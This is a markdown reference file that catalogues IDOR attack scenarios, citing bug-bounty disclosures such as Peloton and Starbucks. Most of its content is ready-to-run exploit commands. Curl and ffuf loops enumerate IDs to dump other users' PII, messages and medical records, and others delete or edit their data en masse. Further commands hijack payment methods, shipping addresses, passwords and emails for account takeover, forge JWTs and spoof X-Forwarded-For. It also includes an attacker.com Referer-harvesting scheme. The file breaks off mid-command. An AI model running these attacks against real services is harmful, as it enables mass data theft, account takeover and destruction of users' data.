---
name: scenarios-idor
description: "Real-world IDOR (Insecure Direct Object Reference) attack scenarios — HackerOne disclosures, OWASP API1:2023, real engagement chains"
---

# IDOR (Insecure Direct Object Reference) — Real-World Attack Scenarios

> Sources: OWASP API1:2023 BOLA · HackerOne Hacktivity (250+ IDOR reports analyzed 2017-2025) · Salt Security "State of API Security 2024" · Pentester Land "IDOR resources" · Real red team engagements

## Index

### Numeric ID IDOR
- S01: IDOR in user profile (Peloton 2021)
- S02: IDOR in user by sequential ID
- S03: IDOR in order/invoice
- S04: IDOR in payment method
- S05: IDOR in address
- S06: IDOR in cart
- S07: IDOR in private message
- S08: IDOR in support ticket
- S09: IDOR in document/file
- S10: IDOR in API key/token
- S11: IDOR in subscription
- S12: IDOR in organization/team
- S13: IDOR in webhook
- S14: IDOR in notification
- S15: IDOR in audit log

### UUID / Non-Sequential IDOR
- S16: UUID IDOR in healthcare (HIPA)
- S17: UUID leak via Referer
- S18: UUID leak in JS source
- S19: UUID in public URL (shareable link)
- S20: UUID brute force (impossible but...)
- S21: UUID in WebSocket message
- S22: UUID v1 (predictable)
- S23: UUID in email URL
- S24: UUID in backup/export
- S25: UUID in error message

### Multi-tenant IDOR
- S26: IDOR across tenants (org_id, workspace_id)
- S27: IDOR via subdomain
- S28: IDOR via custom header
- S29: IDOR via URL prefix
- S30: IDOR via cookie
- S31: IDOR via JWT claim
- S32: IDOR via session
- S33: IDOR via fingerprint
- S34: IDOR via IP whitelist
- S35: IDOR via X-Forwarded-For

### Write-based IDOR (Horizontal Privilege Escalation)
- S36: IDOR for delete (mass deletion)
- S37: IDOR for update (mass edit)
- S38: IDOR for create (create in victim's account)
- S39: IDOR for transfer (move to victim)
- S40: IDOR for password change
- S41: IDOR for email change → ATO
- S42: IDOR for 2FA setup
- S43: IDOR for role change
- S44: IDOR for permission grant
- S45: IDOR for subscription upgrade

### Nested IDOR
- S46: 3-level nested IDOR (org/team/user)
- S47: 4-level nested IDOR
- S48: Indirect reference via path
- S49: Indirect reference via filename
- S50: Indirect reference via hash
- S51: Indirect reference via base64
- S52: Indirect reference via UUID mapping
- S53: Indirect reference via filename pattern
- S54: Indirect reference via URL token
- S55: Indirect reference via signed URL (if leaked)

### IDOR via Parameter Manipulation
- S56: IDOR via POST body (uid vs url_uid)
- S57: IDOR via JSON field
- S58: IDOR via HTTP header
- S59: IDOR via cookie
- S60: IDOR via query string
- S61: IDOR via referer
- S62: IDOR via origin
- S63: IDOR via User-Agent
- S64: IDOR via custom token
- S65: IDOR via mobile API

### IDOR Detection Methodology
- S66: Create 2 accounts
- S67: Compare responses
- S68: Autorize (Burp extension)
- S69: Workflow-based IDOR
- S70: Time-based IDOR detection

---

## S01: IDOR in user profile (Peloton 2021)
**Context:** API endpoint `/api/users/{id}/profile` returns any user's profile. No ownership check.
**Seen in:** Peloton 2021 — unauthenticated users could fetch any user's private profile (age, gender, weight, workout history). 3M+ users affected.
**Impact:** Mass PII exfiltration.

### Detection
```bash
# 1. Get your own profile
curl https://target.com/api/users/me -H "Authorization: Bearer $TOKEN"
# Returns: {"id": 12345, "email": "you@x.com", "name": "John"}

# 2. Test other IDs
for id in 12344 12346 12347; do
  curl -s https://target.com/api/v1/users/$id -H "Authorization: Bearer $TOKEN" -o resp_$id.json
done
# 200 OK with other user's data? IDOR.
```

### Exploit
```bash
# Mass enumeration
ffuf -u "https://target.com/api/v1/users/FUZZ" \
     -H "Authorization: Bearer $TOKEN" \
     -w ids.txt -mc 200 -t 50 -o idor.json

# Or sequential
for id in $(seq 1 1000000); do
  curl -s "https://target.com/api/v1/users/$id" -H "Authorization: Bearer $TOKEN" -o "user_$id.json" &
  if [ $((id % 100)) == 0 ]; then wait; fi
done

# Extract PII
cat idor.json | jq -r '.results[].output' | jq -r '[.id, .email, .name, .phone, .address] | @csv' > pii.csv
```

### Chain
1. Register Account A
2. From Account A's session, request Account A's profile
3. Replace ID with Account B's ID
4. If 200 OK, IDOR confirmed
5. Enumerate → mass PII

### Bypass / Notes
- Server-side ownership check
- Peloton's API was unauthenticated → worst case
- Peloton paid $2,500 bounty + class-action lawsuit

---

## S02: IDOR in user by sequential ID
**Context:** Sequential numeric user IDs (1, 2, 3, ...) used in URL. Easy to enumerate.
**Seen in:** Common. HackerOne — IDOR-delete-campaigns (2022) $20,000.
**Impact:** Mass data dump.

### Detection
```bash
# Sequential enumeration
for id in 1 2 3 4 5 100 1000 10000; do
  curl -s "https://target.com/api/users/$id" -H "Authorization: Bearer $TOKEN" -o "u_$id.json"
done

# All 200 OK? Sequential IDOR.
```

### Exploit
```bash
# Same as S01
```

### Chain
1. Identify user_id pattern
2. Sequential enumeration
3. Mass PII dump

### Bypass / Notes
- Use UUID (but not security by itself — see S16)
- Server-side ownership check
- Rate limit

---

## S03: IDOR in order/invoice
**Context:** `/api/orders/{order_id}` or `/api/invoices/{invoice_id}` — no ownership check.
**Seen in:** Starbucks (H1 #141090) — 70 upvotes. "Parameter Manipulation allowed for viewing of other user's teavana.com orders".
**Impact:** Order history leak, PII, financial data.

### Detection
```bash
# Get own order
curl https://shop.com/orders/123 -H "Authorization: Bearer $TOKEN"
# Try other IDs
curl https://shop.com/orders/124 -H "Authorization: Bearer $TOKEN"
# Other user's order? IDOR.
```

### Exploit
```bash
for id in $(seq 1 999999); do
  curl -s "https://shop.com/orders/$id" -H "Authorization: Bearer $TOKEN" -o "order_$id.json" &
  if [ $((id % 100)) == 0 ]; then wait; fi
done
```

### Chain
1. Find order endpoint
2. Enumerate
3. PII / financial data leak

### Bypass / Notes
- Validate user owns order

---

## S04: IDOR in payment method
**Context:** `/api/payment-methods/{id}` — read, update, or delete any user's payment method.
**Seen in:** Real.
**Impact:** Steal payment methods, add attacker's card, delete cards.

### Detection
```bash
curl https://shop.com/api/payment-methods/123 -H "Authorization: Bearer $TOKEN"
curl https://shop.com/api/payment-methods/124 -H "Authorization: Bearer $TOKEN"
# Other user's card? IDOR.
```

### Exploit
```bash
# Add attacker's card to victim's account
curl -X POST https://shop.com/api/users/victim_id/payment-methods \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"card":"4111111111111111","exp":"12/30","cvv":"123"}'

# Delete victim's cards
curl -X DELETE https://shop.com/api/payment-methods/123 -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find payment method endpoint
2. Add own card to victim
3. Use victim's account to make purchases on attacker's card
4. Or delete victim's cards (DoS)

### Bypass / Notes
- Validate user owns payment method

---

## S05: IDOR in address
**Context:** `/api/addresses/{id}` — view, edit, or delete any user's address.
**Seen in:** Real.
**Impact:** Privacy leak, shipment hijacking.

### Detection
```bash
curl https://shop.com/api/addresses/123 -H "Authorization: Bearer $TOKEN"
# Other user's address? IDOR.
```

### Exploit
```bash
# Change victim's shipping address to attacker's
curl -X PUT https://shop.com/api/addresses/victim_addr_id \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"line1":"123 Attacker St","city":"Hackerville","zip":"00000"}'

# Order ships to attacker
```

### Chain
1. Find address endpoint
2. Change victim's shipping address
3. Order items → ship to attacker
4. Profit

### Bypass / Notes
- Validate ownership

---

## S06: IDOR in cart
**Context:** `/api/carts/{cart_id}` — read, modify, or empty any user's cart.
**Seen in:** Real.
**Impact:** View products, change items, empty cart (DoS).

### Detection
```bash
curl https://shop.com/api/carts/123 -H "Authorization: Bearer $TOKEN"
# Other user's cart? IDOR.
```

### Exploit
```bash
# Empty victim's cart
curl -X DELETE https://shop.com/api/carts/victim_cart_id -H "Authorization: Bearer $TOKEN"
# Add expensive item to victim's cart
curl -X POST https://shop.com/api/carts/victim_cart_id/items \
  -H "Authorization: Bearer $TOKEN" -d '{"id":999,"qty":1000}'
```

### Chain
1. Find cart endpoint
2. Manipulate victim's cart
3. Various attacks

### Bypass / Notes
- Validate ownership

---

## S07: IDOR in private message
**Context:** `/api/messages/{message_id}` — read any user's private messages.
**Seen in:** Real.
**Impact:** Privacy breach, blackmail material.

### Detection
```bash
curl https://app.com/api/messages/123 -H "Authorization: Bearer $TOKEN"
# Other user's message? IDOR.
```

### Exploit
```bash
# Enumerate all messages
for id in $(seq 1 999999); do
  curl -s "https://app.com/api/messages/$id" -H "Authorization: Bearer $TOKEN" -o "msg_$id.json"
done
```

### Chain
1. Find message endpoint
2. Enumerate
3. Read all messages

### Bypass / Notes
- Validate ownership

---

## S08: IDOR in support ticket
**Context:** `/api/tickets/{ticket_id}` — read, update, or close any user's support tickets.
**Seen in:** Real.
**Impact:** Read sensitive info, manipulate support flow.

### Detection
```bash
curl https://app.com/api/tickets/123 -H "Authorization: Bearer $TOKEN"
# Other user's ticket? IDOR.
```

### Exploit
```bash
# Read all tickets
for id in $(seq 1 99999); do
  curl -s "https://app.com/api/tickets/$id" -H "Authorization: Bearer $TOKEN" -o "ticket_$id.json"
done

# Close all victim's tickets (DoS)
curl -X POST https://app.com/api/tickets/123/close -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find ticket endpoint
2. Enumerate / manipulate
3. Privacy / DoS

### Bypass / Notes
- Validate ownership

---

## S09: IDOR in document/file
**Context:** `/api/documents/{id}` or `/api/files/{id}` — read, modify, or delete any user's documents.
**Seen in:** Common.
**Impact:** Privacy, data loss.

### Detection
```bash
curl https://app.com/api/documents/123 -H "Authorization: Bearer $TOKEN"
# Other user's doc? IDOR.
```

### Exploit
```bash
# Enumerate
for id in $(seq 1 999999); do
  curl -s "https://app.com/api/documents/$id" -H "Authorization: Bearer $TOKEN" -o "doc_$id.pdf"
done
```

### Chain
1. Find doc endpoint
2. Enumerate
3. PII / financial / medical data

### Bypass / Notes
- Validate ownership

---

## S10: IDOR in API key/token
**Context:** `/api/keys/{key_id}` — view or revoke any user's API keys.
**Seen in:** Real.
**Impact:** Steal API keys, revoke legitimate keys (DoS).

### Detection
```bash
curl https://app.com/api/keys/123 -H "Authorization: Bearer $TOKEN"
# Other user's API key? IDOR.
```

### Exploit
```bash
# Revoke victim's API keys
curl -X DELETE https://app.com/api/keys/123 -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find API key endpoint
2. Revoke victim's keys
3. DoS

### Bypass / Notes
- Validate ownership

---

## S11: IDOR in subscription
**Context:** `/api/subscriptions/{sub_id}` — view, modify, or cancel any user's subscription.
**Seen in:** Real.
**Impact:** Cancel victim's subscription (DoS), view pricing.

### Detection
```bash
curl https://app.com/api/subscriptions/123 -H "Authorization: Bearer $TOKEN"
# Other user's subscription? IDOR.
```

### Exploit
```bash
# Cancel victim's subscription
curl -X DELETE https://app.com/api/subscriptions/123 -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find subscription endpoint
2. Cancel victim's
3. DoS / churn attack

### Bypass / Notes
- Validate ownership

---

## S12: IDOR in organization/team
**Context:** `/api/orgs/{org_id}/...` — access other orgs' data.
**Seen in:** SaaS everywhere.
**Impact:** Multi-tenant breach.

### Detection
```bash
curl https://saas.com/api/orgs/5/users -H "Authorization: Bearer $TOKEN"
curl https://saas.com/api/orgs/6/users -H "Authorization: Bearer $TOKEN"
# Other org's users? IDOR.
```

### Exploit
```bash
# Enumerate all orgs
for org_id in $(seq 1 10000); do
  curl -s "https://saas.com/api/orgs/$org_id/users" -H "Authorization: Bearer $TOKEN" -o "org_$org_id.json"
done
```

### Chain
1. Find org endpoint
2. Enumerate orgs
3. Multi-tenant breach

### Bypass / Notes
- Validate user is member of org

---

## S13: IDOR in webhook
**Context:** `/api/webhooks/{id}` — view, modify, or delete any user's webhooks.
**Seen in:** Real.
**Impact:** Steal webhook secrets, DoS.

### Detection
```bash
curl https://app.com/api/webhooks/123 -H "Authorization: Bearer $TOKEN"
# Other user's webhook? IDOR.
```

### Exploit
```bash
# Steal webhook URL + secret
# Then send fake events
```

### Chain
1. Find webhook endpoint
2. Enumerate
3. Steal secrets

### Bypass / Notes
- Validate ownership

---

## S14: IDOR in notification
**Context:** `/api/notifications/{id}` — read or mark as read any user's notifications.
**Seen in:** Real.
**Impact:** Privacy leak.

### Detection
```bash
curl https://app.com/api/notifications/123 -H "Authorization: Bearer $TOKEN"
# Other user's notification? IDOR.
```

### Exploit
```bash
# Enumerate
```

### Chain
1. Find notification endpoint
2. Enumerate
3. Privacy leak

### Bypass / Notes
- Validate ownership

---

## S15: IDOR in audit log
**Context:** `/api/audit/{id}` — read any user's audit log entries.
**Seen in:** Real.
**Impact:** Security info disclosure.

### Detection
```bash
curl https://app.com/api/audit/123 -H "Authorization: Bearer $TOKEN"
# Other user's audit? IDOR.
```

### Exploit
```bash
# Enumerate audit logs
# Find admin actions, IPs, etc.
```

### Chain
1. Find audit endpoint
2. Enumerate
3. Security info disclosure

### Bypass / Notes
- Validate ownership / restrict to admin

---

## S16: UUID IDOR in healthcare (HIPA)
**Context:** UUID is "unguessable" but if no authz check, still IDOR. Healthcare often leaks UUIDs in URLs, emails, and notifications.
**Seen in:** Common. Healthcare apps. HIPA violations.
**Impact:** Massive HIPA fines ($50K+ per record).

### Detection
```bash
# Get own UUID
curl https://hipaa.com/api/patients/me -H "Authorization: Bearer $TOKEN"
# Returns: {"id": "550e8400-e29b-41d4-a716-446655440000"}

# Try other UUIDs (from leaked list)
curl https://hipaa.com/api/patients/550e8400-e29b-41d4-a716-446655440001 -H "Authorization: Bearer $TOKEN"
```

### Exploit
```bash
# UUID leaks from:
# 1. Email URLs (patient notifications)
# 2. SMS notifications
# 3. Backup files
# 4. List endpoints
# 5. Public-facing list

# Get list of UUIDs from any list endpoint
curl https://hipaa.com/api/patients/list -H "Authorization: Bearer $TOKEN" -o patients.json
# Now use each UUID
cat patients.json | jq -r '.[].id' | while read uuid; do
  curl -s "https://hipaa.com/api/patients/$uuid" -H "Authorization: Bearer $TOKEN" -o "patient_$uuid.json"
done
```

### Chain
1. Find patient endpoint with UUID
2. Get list of UUIDs
3. Access all patient data
4. HIPA violation

### Bypass / Notes
- Server-side ownership check
- UUID alone is not security

---

## S17: UUID leak via Referer
**Context:** When user views a document, the URL with UUID is sent in Referer header to external resources (analytics, ads).
**Seen in:** Real.
**Impact:** UUID leak → IDOR.

### Detection
```bash
# Check if UUIDs in URLs leak via Referer
# Load a page with UUID
# External resources (images, scripts) receive Referer header
```

### Exploit
```bash
# Attacker hosts:
# 1. Image at https://attacker.com/log.png
# 2. Victim loads page with UUID
# 3. Page includes <img src="https://attacker.com/log.png">
# 4. Victim's browser sends Referer: https://target.com/api/documents/UUID
# 5. Attacker logs Referer → UUID

# Then use UUID
curl "https://target.com/api/documents/$UUID" -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find page with UUID
2. Host image at attacker.com
3. Inject image in page (XSS or content injection)
4. Receive Referer with UUID
5. Use UUID

### Bypass / Notes
- Referrer-Policy: no-referrer
- Or: don't include UUID in URL

---

## S18: UUID leak in JS source
**Context:** JavaScript source code contains UUIDs (constants, error messages, test data).
**Seen in:** Common.
**Impact:** UUID leak → IDOR.

### Detection
```bash
# Find JS files
katana -u https://target.com -js-crawl -d 3

# Search for UUIDs
grep -oE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" main.js | sort -u
```

### Exploit
```bash
# Use leaked UUID
curl "https://target.com/api/items/$UUID" -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find UUIDs in JS
2. Use them
3. IDOR

### Bypass / Notes
- Don't hardcode UUIDs in JS
- Use env vars

---

## S19: UUID in public URL (shareable link)
**Context:** User shares a "private" link with UUID. Anyone with link can access.
**Seen in:** Google Docs, Dropbox, etc. (sometimes proper auth, sometimes not).
**Impact:** Privacy leak.

### Detection
```bash
# Get a shareable link
# Check if auth required
curl "https://target.com/share/$UUID" -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
# vs
curl "https://target.com/share/$UUID" -o /dev/null -w "%{http_code}\n"
# Both 200 OK? No auth required.
```

### Exploit
```bash
# Anyone with the link can access
# Share link publicly (intentionally or not)
```

### Chain
1. Get shareable link
2. Share publicly
3. Anyone accesses

### Bypass / Notes
- Auth-gate shareable links
- Or: signed URLs with expiration

---

## S20: UUID brute force (impossible but...)
**Context:** UUID v4 has 122 bits of entropy. Brute force is impossible. But if UUID v1 (timestamp-based), partially predictable.
**Seen in:** Rare.
**Impact:** Possible enumeration.

### Detection
```bash
# Check if UUIDs are v1 or v4
# v1: timestamp-based
# v4: random

# If v1, predict next
```

### Exploit
```bash
# Use uuid_v1_generator to predict
# Or use https://github.com/intruder-io/guidtool
```

### Chain
1. Identify UUID v1
2. Predict range
3. IDOR

### Bypass / Notes
- Always use v4 (random)

---

## S21: UUID in WebSocket message
**Context:** WebSocket messages contain UUIDs. Intercept → IDOR.
**Seen in:** Real.
**Impact:** UUID leak.

### Detection
```bash
# Open WebSocket connection (in browser)
# Capture messages
# Look for UUIDs
```

### Exploit
```bash
# Use captured UUID
curl "https://target.com/api/items/$UUID" -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Capture WS message
2. Extract UUID
3. Use

### Bypass / Notes
- Don't include UUIDs in WS messages

---

## S22: UUID v1 (predictable)
**Context:** UUID v1 uses timestamp + MAC address. Predictable ranges.
**Seen in:** Common in older systems.
**Impact:** UUID enumeration.

### Detection
```bash
# Get a UUID v1
# Check version: 1xxx in third group
550e8400-e29b-41d4-a716-446655440000
#              ^ = version 1
```

### Exploit
```bash
# Generate UUIDs in same time range
# https://github.com/intruder-io/guidtool
```

### Chain
1. Find v1 UUID
2. Generate same time range
3. IDOR

### Bypass / Notes
- Use v4

---

## S23: UUID in email URL
**Context:** UUIDs in email links. Email leaks → UUID leaks.
**Seen in:** Common.
**Impact:** UUID leak.

### Detection
```bash
# Get an email
# Check if UUIDs in URLs
```

### Exploit
```bash
# Use leaked UUID
```

### Chain
1. Email leak
2. UUID in URL
3. IDOR

### Bypass / Notes
- Don't put UUIDs in URLs (use tokens)

---

## S24: UUID in backup/export
**Context:** Backup files contain all UUIDs. Attacker gains access to backup.
**Seen in:** Real.
**Impact:** Mass UUID leak.

### Detection
```bash
# Find backup files
for path in /backup /admin/backup /api/backup; do
  curl -s "https://target.com$path" -o backup.zip
done
```

### Exploit
```bash
# Extract UUIDs from backup
unzip backup.zip
grep -rE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" backup/ | sort -u > uuids.txt

# Use each
while read uuid; do
  curl -s "https://target.com/api/items/$uuid" -H "Authorization: Bearer $TOKEN" -o "item_$uuid.json"
done < uuids.txt
```

### Chain
1. Find backup
2. Extract UUIDs
3. IDOR

### Bypass / Notes
- Auth-gate backup
- Don't backup UUIDs

---

## S25: UUID in error message
**Context:** Error messages reveal UUIDs (e.g., "Item 550e8400... not found").
**Seen in:** Common.
**Impact:** UUID leak.

### Detection
```bash
# Trigger errors
curl "https://target.com/api/items/invalid"
# Server: "Item 550e8400-e29b-41d4-a716-446655440000 not found"
# Wait, that's a valid UUID in error? UUID leak.
```

### Exploit
```bash
# Use leaked UUID
```

### Chain
1. Trigger error
2. Extract UUID
3. IDOR

### Bypass / Notes
- Generic error messages

---

## S26: IDOR across tenants (org_id, workspace_id)
**Context:** Multi-tenant SaaS. org_id in URL. User in org A can access org B's data.
**Seen in:** SaaS everywhere.
**Impact:** Multi-tenant breach.

### Detection
```bash
# Get own org's data
curl "https://saas.com/api/data?org_id=1" -H "Authorization: Bearer $TOKEN"
# Try other org
curl "https://saas.com/api/data?org_id=2" -H "Authorization: Bearer $TOKEN"
# Other org's data? IDOR.
```

### Exploit
```bash
# Enumerate all orgs
for org_id in $(seq 1 10000); do
  curl -s "https://saas.com/api/data?org_id=$org_id" -H "Authorization: Bearer $TOKEN" -o "org_$org_id.json"
done
```

### Chain
1. Find org_id parameter
2. Enumerate
3. Multi-tenant breach

### Bypass / Notes
- org_id from JWT only, not params
- Server-side tenant resolution

---

## S27: IDOR via subdomain
**Context:** Multi-tenant via subdomains. attacker.tenant.target.com can access victim.tenant.target.com by changing subdomain.
**Seen in:** Real.
**Impact:** Multi-tenant breach.

### Detection
```bash
# Get own subdomain
curl "https://myorg.tenant.target.com/api/data" -H "Authorization: Bearer $TOKEN"
# Try other org
curl "https://otherorg.tenant.target.com/api/data" -H "Authorization: Bearer $TOKEN"
# Other org's data? IDOR.
```

### Exploit
```bash
# Subdomain enumeration
for org in $(cat orgs.txt); do
  curl -s "https://$org.tenant.target.com/api/data" -H "Authorization: Bearer $TOKEN" -o "data_$org.json"
done
```

### Chain
1. Identify subdomain pattern
2. Enumerate subdomains
3. Multi-tenant breach

### Bypass / Notes
- Validate tenant from token, not subdomain

---

## S28: IDOR via custom header
**Context:** App uses `X-Org-Id` header. Change header → other org's data.
**Seen in:** Real.
**Impact:** Multi-tenant breach.

### Detection
```bash
curl "https://saas.com/api/data" -H "Authorization: Bearer $TOKEN" -H "X-Org-Id: 1"
curl "https://saas.com/api/data" -H "Authorization: Bearer $TOKEN" -H "X-Org-Id: 2"
```

### Exploit
```bash
# Enumerate
for org_id in $(seq 1 10000); do
  curl -s "https://saas.com/api/data" -H "Authorization: Bearer $TOKEN" -H "X-Org-Id: $org_id" -o "org_$org_id.json"
done
```

### Chain
1. Find org_id header
2. Enumerate
3. Multi-tenant breach

### Bypass / Notes
- org_id from token, not header

---

## S29: IDOR via URL prefix
**Context:** App uses `/api/v1/orgs/{org_id}/...`. Change org_id in URL → other org's data.
**Seen in:** Real.
**Impact:** Multi-tenant breach.

### Detection
```bash
curl "https://saas.com/api/v1/orgs/1/data" -H "Authorization: Bearer $TOKEN"
curl "https://saas.com/api/v1/orgs/2/data" -H "Authorization: Bearer $TOKEN"
```

### Exploit
```bash
# Enumerate
```

### Chain
1. Find URL prefix
2. Enumerate
3. Multi-tenant breach

### Bypass / Notes
- Validate membership

---

## S30: IDOR via cookie
**Context:** App uses `org_id` cookie. Change cookie → other org's data.
**Seen in:** Real.
**Impact:** Multi-tenant breach.

### Detection
```bash
curl "https://saas.com/api/data" -H "Authorization: Bearer $TOKEN" -b "org_id=1"
curl "https://saas.com/api/data" -H "Authorization: Bearer $TOKEN" -b "org_id=2"
```

### Exploit
```bash
# Enumerate
```

### Chain
1. Find org_id cookie
2. Enumerate
3. Multi-tenant breach

### Bypass / Notes
- org_id from session, not cookie

---

## S31: IDOR via JWT claim
**Context:** JWT has `org_id` claim. Server trusts claim. But user can also have another token with different claim.
**Seen in:** Real.
**Impact:** Multi-tenant breach.

### Detection
```bash
# Decode your JWT
echo $TOKEN | cut -d. -f2 | base64 -d
# {"sub":"user1","org_id":"1"}

# Forge JWT with different org_id
# (requires JWT weakness — see JWT scenarios)
```

### Exploit
```bash
# Forge JWT (if alg:none or weak secret)
HEADER=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w0 | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"attacker","org_id":"2"}' | base64 -w0 | tr -d '=')
# Sign with weak secret...
```

### Chain
1. Get JWT with org_id
2. Forge JWT with other org_id
3. Multi-tenant breach

### Bypass / Notes
- Server-side org validation
- Or: bind org_id to user_id, not in token

---

## S32: IDOR via session
**Context:** Session has user_id. Server reads user_id from session. But session can be hijacked or fixed.
**Seen in:** Real.
**Impact:** ATO.

### Detection
```bash
# Get session, decode
# Modify session
```

### Exploit
```bash
# If session is not signed
# Modify user_id in session
```

### Chain
1. Get session
2. Modify
3. Impersonate

### Bypass / Notes
- Sign sessions
- Or: server-side session store

---

## S33: IDOR via fingerprint
**Context:** App uses device fingerprint. Same fingerprint → same user. Spoof fingerprint → impersonate.
**Seen in:** Rare.
**Impact:** ATO.

### Detection
```bash
# Change fingerprint
# Test if user changes
```

### Exploit
```bash
# Spoof fingerprint
```

### Chain
1. Find fingerprint check
2. Spoof
3. Impersonate

### Bypass / Notes
- Multi-factor fingerprint

---

## S34: IDOR via IP whitelist
**Context:** App whitelists IP. Spoof IP via X-Forwarded-For → access.
**Seen in:** Real.
**Impact:** Bypass IP whitelist.

### Detection
```bash
curl "https://target.com/internal/api" -H "X-Forwarded-For: 127.0.0.1"
# 200 OK? IP whitelist bypassed.
```

### Exploit
```bash
curl "https://target.com/internal/api" -H "X-Forwarded-For: 10.0.0.1"
# Access internal API
```

### Chain
1. Find IP-restricted endpoint
2. Spoof IP
3. Bypass

### Bypass / Notes
- Don't trust X-Forwarded-For from external clients
- Use mTLS for internal auth

---

## S35: IDOR via X-Forwarded-For
**Context:** App uses X-Forwarded-For for rate limit / IP-based auth.
**Seen in:** Real.
**Impact:** Bypass rate limit, impersonate.

### Detection
```bash
# Change X-Forwarded-For
curl "https://target.com/api/login" \
  -H "X-Forwarded-For: 10.0.0.1" -d '{"user":"x","pass":"y"}'
# Rate limit bypassed?
```

### Exploit
```bash
# Cycle IPs
for i in 1 2 3 4 5; do
  curl "https://target.com/api/login" \
    -H "X-Forwarded-For: 10.0.0.$i" -d '{"user":"x","pass":"y"}'
done
```

### Chain
1. Find IP-based limit
2. Spoof
3. Bypass

### Bypass / Notes
- Don't trust X-Forwarded-For
- Use session-based rate limit

---

## S36: IDOR for delete (mass deletion)
**Context:** DELETE endpoint takes id. No ownership check.
**Seen in:** Common. HackerOne — IDOR-delete-campaigns.
**Impact:** Mass data destruction.

### Detection
```bash
curl -X DELETE https://target.com/api/posts/123 -H "Authorization: Bearer $TOKEN"
# Other user's post deleted? IDOR.
```

### Exploit
```bash
# Mass delete
for id in $(seq 1 10000); do
  curl -X DELETE "https://target.com/api/posts/$id" -H "Authorization: Bearer $TOKEN" -o /dev/null
done
```

### Chain
1. Find DELETE endpoint
2. Enumerate IDs
3. Mass deletion

### Bypass / Notes
- Validate ownership

---

## S37: IDOR for update (mass edit)
**Context:** PUT/PATCH endpoint takes id. No ownership check.
**Seen in:** Common.
**Impact:** Mass content manipulation.

### Detection
```bash
curl -X PATCH https://target.com/api/posts/123 -H "Authorization: Bearer $TOKEN" -d '{"content":"hacked"}'
# Other user's post edited? IDOR.
```

### Exploit
```bash
# Mass edit
for id in $(seq 1 10000); do
  curl -X PATCH "https://target.com/api/posts/$id" -H "Authorization: Bearer $TOKEN" -d '{"content":"hacked by X"}'
done
```

### Chain
1. Find PATCH/PUT endpoint
2. Enumerate IDs
3. Mass edit

### Bypass / Notes
- Validate ownership

---

## S38: IDOR for create (create in victim's account)
**Context:** POST endpoint takes user_id. Attacker creates resource in victim's account.
**Seen in:** Real.
**Impact:** Resource hijacking.

### Detection
```bash
curl -X POST https://target.com/api/users/123/posts \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"content":"injected"}'
# Post created in victim's account? IDOR.
```

### Exploit
```bash
# Create posts in victim's account
for user_id in $(cat users.txt); do
  curl -X POST "https://target.com/api/users/$user_id/posts" \
    -H "Authorization: Bearer $TOKEN" \
    -d '{"content":"malicious"}'
done
```

### Chain
1. Find POST endpoint with user_id
2. Create in victim's account
3. Stored XSS / spam

### Bypass / Notes
- Use session user_id, not param

---

## S39: IDOR for transfer (move to victim)
**Context:** Transfer endpoint takes recipient_id. Attacker transfers from themselves to victim, but the API allows transferring victim's resources.
**Seen in:** Real.
**Impact:** Resource theft.

### Detection
```bash
curl -X POST https://target.com/api/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"from":"victim_id","to":"attacker_id","amount":1000}'
# Transfer from victim? IDOR.
```

### Exploit
```bash
# Transfer from any user
```

### Chain
1. Find transfer endpoint
2. Specify any from user
3. Transfer to attacker

### Bypass / Notes
- Use session user_id, not param

---

## S40: IDOR for password change
**Context:** Password change endpoint takes user_id. Attacker changes any user's password.
**Seen in:** Real.
**Impact:** ATO.

### Detection
```bash
curl -X POST https://target.com/api/users/123/password \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"new_password":"attacker_pw"}'
# Other user's password changed? IDOR.
```

### Exploit
```bash
# Change any user's password
curl -X POST https://target.com/api/users/123/password \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"new_password":"attacker_pw"}'

# Login as victim with new password
curl -X POST https://target.com/api/login -d '{"user":"victim","password":"attacker_pw"}'
```

### Chain
1. Find password endpoint
2. Change victim's password
3. Login as victim
4. ATO

### Bypass / Notes
- Use session user_id, not param
- Current password required

---

## S41: IDOR for email change → ATO
**Context:** Email change endpoint takes user_id. Attacker changes any user's email.
**Seen in:** Real.
**Impact:** ATO via password reset.

### Detection
```bash
curl -X PATCH https://target.com/api/users/123 \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email":"attacker@evil.com"}'
# Other user's email changed? IDOR.
```

### Exploit
```bash
# Change victim's email
curl -X PATCH https://target.com/api/users/123 \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email":"attacker@evil.com"}'

# Trigger password reset
curl -X POST https://target.com/api/forgot -d '{"email":"attacker@evil.com"}'

# Reset link goes to attacker's email
# ATO
```

### Chain
1. Find email change endpoint
2. Change victim's email
3. Password reset
4. ATO

### Bypass / Notes
- Use session user_id, not param

---

## S42: IDOR for 2FA setup
**Context:** 2FA setup endpoint takes user_id. Attacker sets 2FA on victim's account.
**Seen in:** Real.
**Impact:** Account lockout.

### Detection
```bash
curl -X POST https://target.com/api/users/123/2fa \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"phone":"+15555550100"}'
# 2FA set on victim? IDOR.
```

### Exploit
```bash
# Lock victim out
curl -X POST https://target.com/api/users/123/2fa \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"phone":"+15555550100"}'
```

### Chain
1. Find 2FA endpoint
2. Set 2FA on victim
3. Victim locked out

### Bypass / Notes
- Use session user_id

---

## S43: IDOR for role change
**Context:** Role change endpoint takes user_id. Attacker makes victim admin.
**Seen in:** Real.
**Impact:** Privilege escalation.

### Detection
```bash
curl -X PATCH https://target.com/api/users/123 \
  -H "Authorization: Bearer $TOKEN" \
